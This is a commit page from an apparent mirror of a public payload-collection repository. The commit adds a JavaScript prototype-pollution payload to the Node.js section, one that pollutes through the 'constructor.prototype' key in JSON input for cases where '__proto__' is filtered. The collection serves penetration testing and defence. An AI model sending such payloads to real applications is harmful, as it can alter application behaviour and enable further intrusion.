mirror of
https://github.com/weyne85/PayloadsAllTheThings.git
synced 2025-10-29 16:57:02 +00:00
adding the payload for Polluting the prototype via the constructor property in JSON input
Somtimes `__proto__` property may not work, so adding the payload for Polluting the prototype via the `constructor` property in JSON input
This commit is contained in:
parent
cbc6e78d2a
commit
08063f0830
@ -99,6 +99,19 @@ Asynchronous payload for NodeJS.
|
|||||||
}
|
}
|
||||||
```
|
```
|
||||||
|
|
||||||
|
Polluting the prototype via the `constructor` property instead.
|
||||||
|
|
||||||
|
```js
|
||||||
|
{
|
||||||
|
"constructor": {
|
||||||
|
"prototype": {
|
||||||
|
"foo": "bar",
|
||||||
|
"json spaces": 10
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
### Prototype Pollution in URL
|
### Prototype Pollution in URL
|
||||||
|
|
||||||
|
|||||||
Loading…
x
Reference in New Issue
Block a user